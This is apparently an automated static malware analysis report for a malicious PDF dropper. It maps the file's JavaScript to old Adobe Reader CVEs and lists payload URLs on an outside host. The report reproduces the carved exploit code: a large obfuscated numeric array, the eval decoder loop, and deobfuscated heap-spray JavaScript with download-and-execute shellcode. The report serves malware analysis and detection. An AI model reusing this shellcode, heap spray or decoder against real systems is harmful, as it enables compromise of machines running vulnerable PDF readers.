Malicious PDF — malware analysis report

Static analysis result for SHA-256 be162a14bc91b9bc…

MALICIOUS

PDF

7.9 KB Created: 2009-09-11 19:49:32 Authoring application: Eblasha 8.1.8.8 (via PDF Library 6.8.8.2) First seen: 2013-08-22
MD5: ec227db928d4433d5c977c9fa51c24a3 SHA-1: 2f7dd9da0339c40e88ca9c9d514b1050c5ad2c9c SHA-256: be162a14bc91b9bc50a0eb4fc39d11ad3fd37af1bfd7c0f8a9ecb37ad8d03e65
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

This PDF file was flagged as malicious by ML classifiers and ClamAV, specifically identified as Pdf.Dropper.Agent-1828922. It contains embedded JavaScript with eval() calls and String.fromCharCode usage, indicating obfuscated code execution. The primary function appears to be downloading and executing a secondary payload, typical of a dropper malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-1828922 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1828922
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var aflr=0, adefnpz='';aflr<5322;aflr++){adefnpz += String.fromCharCode(fra[aflr]-'UmOZGFe'.substring(aflr%'UmOZGFe'.length,aflr%'UmOZGFe'.length+1).charCodeAt(0));}eval(adefnpz);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://dmitrygaiduk.cn/cjnx3.exe Referenced by PDF JavaScript
    • http://dmitrygaiduk.cn/bhkoqstv3.exeReferenced by PDF JavaScript
    • http://dmitrygaiduk.cn/aehjoprtv3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21291 bytes
SHA-256: 4a002cc8f44bda584e74bd935827c0cd11522694d9f9e607b6baed78becd00bf
Preview script
First 1,000 lines of the extracted script
var fra=[187,226,189,189,187,175,212,195,141,181,195,191,165,206,201,149,200,187,185,185,213,129,217,180,200,112,193,220,189,214,187,191,111,191,198,199,224,191,136,179,171,211,188,225,183,132,121,130,209,186,219,120,213,192,167,215,200,221,122,151,192,167,215,200,221,138,215,81,191,198,199,224,191,151,192,167,215,200,221,125,205,188,168,216,201,223,184,200,174,110,149,129,217,180,200,118,120,142,144,223,180,206,188,184,211,117,230,176,204,186,182,160,210,119,181,207,181,169,217,190,220,189,122,188,186,206,193,204,191,204,176,180,217,187,149,120,213,189,167,215,117,221,176,211,179,181,198,185,170,196,200,172,185,200,182,221,180,130,105,107,218,139,161,136,138,108,187,150,141,174,128,127,188,118,149,133,157,116,207,127,136,149,133,146,196,141,119,122,149,122,226,131,138,127,136,138,202,165,145,143,123,107,218,133,161,131,138,108,187,153,133,165,145,127,188,126,167,133,161,116,207,119,122,153,133,146,196,140,119,118,169,122,226,129,138,119,118,138,202,160,147,138,119,107,218,133,157,134,157,108,187,149,133,164,134,127,188,118,150,140,161,116,207,122,121,168,136,146,196,144,123,137,149,122,226,131,138,127,136,138,202,164,135,141,119,107,218,141,175,127,157,108,187,149,152,161,127,127,188,125,149,141,175,116,207,136,138,150,152,146,196,143,127,126,167,122,226,148,156,119,126,138,202,165,145,138,128,107,218,136,161,131,138,108,187,153,133,165,147,127,188,126,167,140,176,116,207,122,137,154,141,146,196,142,123,124,166,122,226,147,139,124,135,138,202,159,145,159,121,107,218,141,175,148,140,108,187,170,151,178,146,127,188,123,166,137,179,116,207,127,121,154,135,146,196,143,125,139,166,122,226,132,143,127,127,138,202,162,133,138,123,107,218,141,175,132,145,108,187,152,152,164,130,127,188,125,153,141,175,116,207,126,126,152,136,146,196,160,122,118,152,122,226,135,156,124,124,138,202,159,127,145,125,107,218,155,160,127,141,108,187,168,142,160,130,127,188,123,149,137,166,116,207,136,138,153,134,146,196,160,141,121,152,122,226,127,160,122,124,138,202,158,131,156,140,107,218,136,165,127,141,108,187,156,137,179,129,127,188,137,150,133,165,116,207,119,138,168,155,146,196,160,136,118,152,122,226,148,156,123,118,138,202,162,135,159,141,107,218,155,165,130,156,108,187,170,138,164,132,127,188,126,167,138,178,116,207,121,122,153,139,146,196,157,122,118,152,122,226,135,156,125,124,138,202,161,135,138,138,107,218,138,163,135,156,108,187,149,136,158,146,127,188,126,167,153,160,116,207,127,135,149,137,146,196,157,122,118,152,122,226,132,159,124,140,138,202,176,130,143,119,107,218,140,177,135,158,108,187,154,140,157,135,127,188,136,157,138,159,116,207,138,135,152,136,146,196,143,137,126,166,122,226,144,140,140,126,138,202,179,149,160,141,107,218,136,159,149,160,108,187,157,151,176,127,127,188,140,151,155,164,116,207,123,140,166,154,146,196,145,124,136,157,122,226,133,143,121,139,138,202,174,145,145,127,107,218,142,165,133,144,108,187,166,151,163,133,127,188,137,149,136,160,116,207,125,119,167,141,146,196,138,119,124,153,122,226,132,138,119,118,138,202,162,131,144,127,107,218,140,159,133,146,108,187,152,138,163,132,127,188,119,168,135,161,116,207,126,122,155,142,146,196,143,123,123,149,122,226,145,146,124,121,138,202,179,146,155,136,107,218,140,176,127,158,108,187,154,138,179,149,127,188,126,167,133,161,116,207,127,121,171,141,146,196,138,138,137,153,122,226,133,157,137,118,138,202,178,127,146,136,107,218,138,157,136,146,108,187,155,155,163,135,127,188,120,170,139,178,116,207,125,126,155,137,146,196,145,121,125,154,122,226,133,158,125,137,138,202,175,135,143,123,107,218,137,178,135,159,108,187,170,152,157,148,127,188,123,154,155,179,116,207,128,121,149,137,146,196,141,122,123,149,122,226,132,138,138,118,138,202,162,133,143,119,107,218,138,162,135,156,108,187,157,136,157,131,127,188,125,171,152,159,116,207,138,120,157,136,146,196,143,121,122,168,122,226,145,146,124,118,138,202,158,144,141,125,107,218,140,157,129,160,108,187,154,138,179,149,127,188,123,167,133,161,116,207,124,124,154,140,146,196,147,127,136,157,122,226,135,155,141,139,138,202,179,149,138,140,107,218,133,161,132,143,108,187,149,133,163,144,127,188,138,156,155,179,116,207,126,122,155,141,146,196,145,119,125,153,122,226,129,160,122,135,138,202,163,131,140,141,107,218,139,166,133,158,108,187,156,135,164,131,127,188,124,156,140,166,116,207,125,127,155,134,146,196,145,124,124,153,122,226,129,159,125,136,138,202,163,148,144,122,107,218,139,160,129,160,108,187,155,154,163,144,127,188,121,152,140,165,116,207,125,123,151,154,146,196,144,124,125,157,122,226,127,138,119,118,135,126,168,197,187,185,102,211,196,221,140,207,181,171,216,184,206,191,191,111,104,138,202,157,144,138,136,107,218,133,174,127,155,108,187,149,150,157,144,127,188,118,166,133,174,113,131,81,188,198,199,141,183,191,168,182,199,193,220,178,197,132,180,212,197,152,191,187,192,178,212,182,209,138,208,168,184,133,183,214,182,188,179,181,200,192,170,196,200,172,185,200,182,221,180,130,105,107,218,133,174,127,155,108,187,149,150,157,144,124,112,129,219,182,223,111,194,172,167,201,186,223,194,195,193,171,162,135,157,138,208,168,184,133,200,221,193,187,192,131,205,186,206,179,191,185,185,206,207,210,122,194,172,167,213,183,217,190,189,178,116,209,186,219,182,206,175,129,220,189,214,187,191,111,168,206,188,207,187,201,170,177,147,193,210,189,193,187,174,161,200,221,193,187,192,111,224,183,214,182,188,179,181,200,192,152,140,188,176,173,199,193,220,178,197,130,195,111,203,206,193,122,173,175,209,193,207,187,201,170,177,162,183,214,182,188,179,181,200,192,155,194,207,169,185,217,199,214,189,193,111,118,145,200,221,193,187,192,111,160,203,206,193,122,169,178,212,184,216,140,188,176,173,199,193,220,178,197,117,185,218,183,224,195,204,176,180,204,125,157,123,188,176,173,199,193,220,178,197,117,178,202,195,212,195,194,116,185,213,199,206,200,131,130,189,205,190,217,180,130,169,178,212,184,216,125,198,172,180,204,201,213,122,205,183,184,198,206,169,127,210,123,118,149,133,157,120,213,169,178,212,184,216,140,188,179,181,200,192,152,177,198,182,169,208,128,211,184,198,179,168,209,196,208,186,149,196,80,219,182,223,111,199,172,179,196,182,223,193,187,192,131,211,186,228,111,155,185,184,198,206,149,120,149,173,181,215,125,227,176,204,103,175,162,133,168,184,150,120,122,149,133,168,184,133,114,111,224,194,210,188,185,168,184,215,182,230,170,195,164,131,199,193,220,178,197,114,174,202,182,221,177,198,182,169,208,144,234,89,208,168,184,133,195,226,188,151,120,120,158,142,166,136,147,128,127,158,142,166,136,147,128,127,158,142,166,136,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,157,141,165,135,146,127,126,160,202,225,184,198,117,182,215,190,219,195,192,111,104,138,137,162,127,138,119,172,135,129,219,196,199,112,129,226,95,211,196,200,170,186,206,196,219,111,189,182,178,209,182,207,174,191,180,167,206,193,149,120,213,189,167,215,117,224,183,191,179,178,200,196,209,180,151,188,180,202,200,208,176,202,172,110,135,122,226,133,142,128,118,138,202,158,135,155,120,107,218,133,157,127,138,108,187,157,151,157,127,127,188,121,149,137,157,116,207,123,118,157,151,146,196,146,137,123,153,122,226,127,142,123,118,138,202,161,127,146,137,107,218,141,175,127,142,108,187,149,137,161,127,127,188,120,149,133,177,116,207,121,118,149,133,146,196,141,139,118,149,122,226,127,138,126,137,138,202,157,127,145,126,107,218,133,158,134,142,108,187,152,136,176,130,127,188,124,153,152,157,116,207,123,118,157,151,146,196,145,127,121,149,122,226,135,156,119,137,138,202,157,146,142,119,107,218,140,157,135,156,108,187,166,153,158,146,127,188,123,157,141,175,116,207,140,136,149,141,146,196,146,137,118,158,122,226,130,142,123,118,138,202,161,127,146,139,107,218,141,175,134,157,108,187,152,152,162,135,127,188,122,153,139,174,116,207,139,119,154,150,146,196,140,137,139,151,122,226,135,156,140,120,138,202,178,145,159,138,107,218,138,174,131,160,108,187,157,136,162,129,127,188,123,155,154,174,116,207,124,123,157,142,146,196,143,125,118,153,122,226,135,156,124,125,138,202,160,146,145,122,107,218,140,161,135,156,108,187,156,141,160,130,127,188,140,152,133,160,116,207,127,136,154,139,146,196,140,119,125,155,122,226,149,141,119,121,138,202,176,136,141,122,107,218,138,157,131,147,108,187,166,153,161,128,127,188,140,171,136,160,116,207,119,140,152,139,146,196,139,123,136,170,122,226,130,146,119,121,138,202,164,131,160,121,107,218,152,158,127,146,108,187,149,153,176,149,127,188,140,166,133,160,116,207,140,136,153,133,146,196,143,127,139,171,122,226,149,146,122,136,138,202,178,132,145,124,107,218,141,175,132,159,108,187,151,137,161,133,127,188,137,152,133,160,116,207,127,136,155,139,146,196,142,127,118,168,122,226,132,144,127,136,138,202,157,130,139,138,107,218,141,175,147,141,108,187,157,150,157,131,127,188,137,152,133,160,116,207,124,139,154,155,146,196,157,122,123,149,122,226,134,158,127,138,138,202,162,134,138,127,107,218,151,165,132,140,108,187,168,150,160,130,127,188,123,167,141,174,116,207,136,120,170,141,146,196,160,141,140,171,122,226,130,140,141,140,138,202,165,145,157,119,107,218,155,159,149,145,108,187,153,155,174,148,127,188,125,154,151,165,116,207,125,123,151,154,146,196,155,137,125,157,122,226,136,146,125,124,138,202,174,145,144,125,107,218,152,157,130,141,108,187,155,134,175,135,127,188,118,149,139,161,116,207,124,118,149,133,146,196,143,123,124,157,122,226,134,140,125,126,138,202,160,132,144,124,107,218,134,176,129,142,108,187,156,137,163,136,127,188,123,153,138,157,116,207,137,126,154,136,146,196,160,138,135,166,122,226,134,157,119,138,138,202,162,132,160,141,107,218,141,175,127,142,108,187,157,136,179,135,127,188,118,168,152,161,116,207,125,137,167,133,146,196,159,119,126,166,122,226,132,138,128,126,138,202,163,149,144,127,107,218,135,178,133,159,108,187,155,141,163,131,127,188,125,151,140,162,116,207,125,138,155,152,146,196,156,127,123,153,122,226,131,159,127,139,138,202,178,146,138,140,107,218,138,162,149,160,108,187,158,136,157,131,127,188,121,152,138,157,116,207,124,118,168,133,146,196,143,125,123,149,122,226,132,143,127,136,138,202,165,130,138,123,107,218,140,179,146,140,108,187,168,135,165,130,127,188,123,151,137,176,116,207,137,126,154,133,146,196,139,136,121,155,122,226,134,138,121,140,138,202,162,132,160,141,107,218,138,175,127,142,108,187,154,139,162,134,127,188,127,157,151,165,116,207,127,135,171,154,146,196,160,141,118,170,122,226,127,142,124,123,138,202,157,127,144,136,107,218,153,164,149,160,108,187,156,137,163,135,127,188,125,149,140,161,116,207,121,140,152,150,146,196,144,123,120,171,122,226,133,147,125,138,138,202,164,129,145,123,107,218,139,164,134,147,108,187,155,142,163,128,127,188,125,154,139,161,116,207,121,139,155,151,146,196,144,140,124,152,122,226,133,140,121,140,138,202,163,145,144,127,107,218,140,158,133,160,108,187,156,137,164,130,127,188,121,152,140,163,116,207,125,123,151,154,146,196,144,124,125,157,122,226,127,138,119,118,135,126,168,197,187,185,102,210,186,218,174,187,185,184,198,206,170,189,191,190,102,166,199,223,176,211,111,111,160,203,206,193,122,170,169,162,133,229,127,189,119,169,149,184,157,178,149,189,167,215,117,206,179,190,185,131,149,205,161,127,138,119,118,149,144,227,176,204,103,185,200,180,217,180,200,132,185,205,186,217,187,189,182,170,202,131,217,180,200,174,186,205,127,159,138,208,168,184,133,193,210,189,151,168,170,201,199,154,119,205,170,165,209,186,219,122,138,191,121,157,126,168,197,187,185,102,222,182,223,194,202,132,187,211,186,224,178,187,183,171,141,119,146,196,147,119,127,149,122,226,136,138,128,118,135,126,168,200,187,185,185,213,146,211,184,210,166,175,217,125,230,176,204,186,182,145,193,210,189,131,130,188,198,199,141,178,201,188,180,217,135,170,119,189,170,115,149,205,161,127,138,119,118,149,126,156,176,190,171,184,160,187,220,193,130,189,167,215,117,208,190,207,181,186,162,133,168,178,201,188,180,217,145,208,190,207,181,186,151,144,208,190,207,181,186,144,128,150,202,199,172,179,196,182,223,193,187,192,161,200,196,226,189,206,164,131,222,182,223,194,202,114,185,205,186,217,187,189,182,170,202,144,234,89,208,168,184,133,196,227,180,204,173,178,212,204,170,196,200,172,185,200,182,221,180,130,105,107,218,133,208,127,189,108,187,149,184,157,178,124,112,129,220,189,214,187,191,111,181,219,186,223,181,198,182,189,147,193,210,189,193,187,174,161,137,161,136,143,121,111,224,196,227,180,204,173,178,212,204,152,140,201,189,171,215,187,217,190,209,130,195,111,201,213,184,205,117,169,212,193,217,176,188,154,186,212,199,210,140,157,182,178,209,182,207,125,189,182,178,209,186,208,195,159,180,167,206,193,182,189,192,182,110,224,200,226,177,196,129,104,135,129,218,194,193,129,181,219,186,223,181,198,182,189,226,126,168,204,100,173,187,211,184,225,184,201,181,102,200,196,217,187,187,169,165,204,186,225,184,189,182,180,141,126,232,184,192,111,167,213,197,155,179,201,170,116,168,196,217,187,187,169,116,204,186,225,152,189,182,180,142,208,227,176,204,103,167,215,199,230,140,200,172,189,133,150,223,193,187,192,110,142,144,227,176,204,103,188,219,197,210,195,194,192,167,162,202,219,180,205,170,167,213,186,149,113,127,188,124,153,142,157,116,207,120,126,166,134,146,196,138,119,118,149,122,226,135,156,119,118,138,202,160,127,142,119,107,218,137,157,135,156,108,187,157,151,162,131,127,188,118,153,137,157,116,207,123,118,157,151,146,196,146,137,118,153,122,226,127,142,123,118,138,202,159,127,138,139,107,218,135,157,127,138,108,187,152,153,157,127,127,188,118,149,140,176,116,207,119,118,156,140,146,196,138,120,125,153,122,226,130,141,138,121,138,202,163,131,157,119,107,218,137,157,135,156,108,187,156,141,160,127,127,188,126,167,133,176,116,207,119,137,153,133,146,196,145,119,126,167,122,226,144,158,120,137,138,202,162,135,146,137,107,218,154,175,127,146,108,187,157,151,157,136,127,188,121,153,137,157,116,207,123,118,157,153,146,196,146,137,125,168,122,226,130,157,124,126,138,202,161,131,144,136,107,218,153,158,132,155,108,187,151,151,178,129,127,188,126,167,154,159,116,207,140,136,170,152,146,196,143,136,122,171,122,226,135,141,124,120,138,202,162,133,159,136,107,218,138,162,135,147,108,187,154,139,157,131,127,188,126,167,138,164,116,207,122,137,156,136,146,196,145,123,126,167,122,226,134,146,122,121,138,202,179,130,138,122,107,218,141,175,132,144,108,187,151,133,164,133,127,188,140,152,133,160,116,207,138,127,152,136,146,196,143,119,122,158,122,226,144,158,123,119,138,202,179,149,141,122,107,218,133,179,130,144,108,187,150,137,175,148,127,188,121,157,133,160,116,207,126,122,171,135,146,196,157,120,118,157,122,226,127,158,138,140,138,202,179,144,138,122,107,218,154,175,131,138,108,187,154,141,178,149,127,188,140,157,136,175,116,207,140,123,156,138,146,196,146,137,123,170,122,226,129,142,123,124,138,202,176,130,138,122,107,218,141,175,133,144,108,187,153,141,157,146,127,188,123,155,141,175,116,207,119,121,150,152,146,196,146,137,138,152,122,226,135,155,119,122,138,202,176,130,138,122,107,218,138,178,132,160,108,187,168,136,162,127,127,188,125,169,141,177,116,207,124,125,149,141,146,196,156,127,123,151,122,226,146,155,122,121,138,202,162,145,146,136,107,218,150,159,148,146,108,187,171,155,179,149,127,188,121,151,155,179,116,207,127,136,168,133,146,196,160,121,140,156,122,226,131,160,136,139,138,202,164,132,156,127,107,218,139,162,129,159,108,187,166,151,164,135,127,188,127,157,139,163,116,207,136,136,155,139,146,196,157,119,121,152,122,226,133,139,137,126,138,202,157,127,144,123,107,218,138,157,127,138,108,187,154,137,163,135,127,188,125,151,139,165,116,207,122,123,155,138,146,196,139,138,120,153,122,226,134,142,125,127,138,202,162,131,143,119,107,218,151,165,132,141,108,187,171,152,174,144,127,188,125,168,133,177,116,207,124,123,171,155,146,196,146,137,118,153,122,226,135,141,141,126,138,202,157,146,157,123,107,218,139,176,145,138,108,187,170,133,165,144,127,188,123,149,142,165,116,207,125,140,155,141,146,196,140,140,124,170,122,226,133,146,125,122,138,202,164,129,145,124,107,218,139,177,133,157,108,187,167,141,162,131,127,188,122,170,141,178,116,207,140,137,149,154,146,196,143,124,140,171,122,226,136,141,119,122,138,202,160,130,143,119,107,218,138,157,146,138,108,187,154,139,162,127,127,188,123,154,141,175,116,207,127,121,149,137,146,196,145,141,137,151,122,226,146,140,127,121,138,202,162,129,142,138,107,218,151,165,132,138,108,187,150,150,160,133,127,188,125,149,135,179,116,207,124,123,171,155,146,196,143,137,118,153,122,226,132,144,124,125,138,202,166,135,156,127,107,218,141,174,149,159,108,187,171,155,157,148,127,188,118,153,138,162,116,207,119,118,155,150,146,196,158,126,140,171,122,226,134,142,125,126,138,202,164,127,145,123,107,218,135,179,130,155,108,187,155,137,159,149,127,188,124,158,139,177,116,207,126,120,156,137,146,196,144,126,125,158,122,226,133,147,125,119,138,202,164,132,144,123,107,218,135,178,133,156,108,187,155,154,163,130,127,188,124,150,135,179,116,207,125,126,155,138,146,196,144,141,124,166,122,226,134,140,126,118,138,202,164,133,145,123,107,218,135,178,130,141,108,187,156,141,163,132,127,188,118,149,139,162,113,131,130,188,198,199,141,183,177,184,123,149,133,176,157,151,189,188,213,186,225,183,211,168,116,209,186,219,182,206,175,112,151,144,227,176,204,103,178,202,195,170,127,210,123,118,149,133,157,127,135,111,174,188,198,162,127,138,138,148,144,133,229,130,146,112,129,219,182,223,111,211,168,184,216,197,170,196,200,172,185,200,182,221,180,130,105,107,218,142,157,136,138,108,187,158,133,166,127,124,112,129,222,182,223,194,202,132,172,206,205,204,184,206,111,191,198,199,224,191,134,179,171,211,126,168,197,187,185,102,213,138,174,185,165,125,123,203,146,149,127,210,119,169,149,184,157,178,138,170,115,149,205,161,127,138,119,118,149,126,156,127,210,123,118,149,133,157,127,149,173,181,215,125,227,176,204,103,188,214,184,190,147,147,125,191,162,133,168,197,203,170,151,169,142,163,200,150,183,123,166,191,184,133,143,173,129,219,198,208,160,158,128,124,222,128,152,120,213,168,184,215,206,200,197,203,170,151,169,142,163,200,183,132,191,198,199,224,191,133,189,188,213,186,225,183,211,168,129,226,95,227,176,204,103,186,186,162,213,157,188,142,189,162,202,219,180,205,170,167,213,186,149,113,127,119,127,135,126,168,198,194,176,178,202,125,225,164,167,175,148,199,156,228,125,198,172,180,204,201,213,139,138,191,122,149,133,157,120,213,187,155,178,189,187,177,161,190,113,162,201,194,156,194,149,168,172,204,168,204,100,187,155,178,189,187,177,161,190,131,135,163,155,113,133,187,155,178,189,187,177,161,190,129,198,197,221,125,190,182,169,147,152,220,187,198,168,168,147,188,210,195,163,170,181,211,125,225,164,167,175,148,199,156,228,120,149,196,195,111,187,226,189,189,187,175,212,195,141,191,190,173,165,216,201,206,193,206,111,111,224,203,206,193,122,189,171,215,200,214,190,200,132,167,213,197,155,197,195,172,189,202,199,195,180,204,186,175,212,195,155,195,201,154,186,215,190,219,182,130,112,129,219,186,223,194,195,182,180,162,203,210,193,205,176,181,211,131,223,180,202,179,167,200,186,149,126,182,139,117,204,129,148,118,131,130,188,198,199,141,197,187,185,185,206,196,219,174,187,185,184,198,206,170,189,191,190,102,166,199,223,176,211,111,188,202,199,224,184,201,181,116,200,189,206,193,155,187,110,149,126,153,197,191,185,185,206,196,219,125,189,175,167,215,150,225,119,139,112,114,219,186,223,194,195,182,180,147,184,213,176,204,136,186,141,135,150,120,149,176,172,141,125,227,176,204,186,175,212,195,204,176,204,185,167,222,176,157,172,151,132,126,142,123,147,119,208,168,184,216,190,220,189,185,168,184,215,182,230,170,139,164,131,162,133,150,203,214,111,188,198,199,224,184,201,181,165,198,199,223,176,211,162,119,194,146,170,128,128,109,188,198,199,224,184,201,181,165,198,199,223,176,211,162,120,194,145,160,120,131,194,187,217,190,217,174,202,185,175,211,201,211,119,131,130,195,111,190,211,119,130,189,167,215,200,214,190,200,166,167,215,199,206,200,181,119,163,161,141,150,203,214,111,188,198,199,224,184,201,181,165,198,199,223,176,211,162,118,194,146,170,135,128,109,188,198,199,224,184,201,181,165,198,199,223,176,211,162,119,194,145,159,117,128,189,167,215,200,214,190,200,166,167,215,199,206,200,181,121,163,161,135,150,120,213,170,181,209,193,206,177,185,172,179,198,190,217,119,131,130,195,111,190,211,119,130,189,167,215,200,214,190,200,166,167,215,199,206,200,181,119,163,161,142,150,203,214,111,188,198,199,224,184,201,181,165,198,199,223,176,211,162,118,194,146,170,136,128,109,188,198,199,224,184,201,181,165,198,199,223,176,211,162,119,194,145,158,120,131,194,169,212,193,217,176,188,166,173,202,201,214,178,201,181,110,142,144,234,204,100,183,170,203,180,224,195,187,185,186,141,126,168];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1BA3 184 bytes
SHA-256: bc45efb3d7d6944f11ea60be538f3beaa7484c389bad07dfdd7127b06d8b726e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var aflr=0, adefnpz='';aflr<5322;aflr++){adefnpz += String.fromCharCode(fra[aflr]-'UmOZGFe'.substring(aflr%'UmOZGFe'.length,aflr%'UmOZGFe'.length+1).charCodeAt(0));}eval(adefnpz);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5322 bytes
SHA-256: f568c27b52c372df5fdde7649ca57fbc007d47056cec68f4edcfb4a0d0887cd1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u642F%u696D%u7274%u6779%u6961%u7564%u2E6B%u6E63%u632F%u6E6A%u3378%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
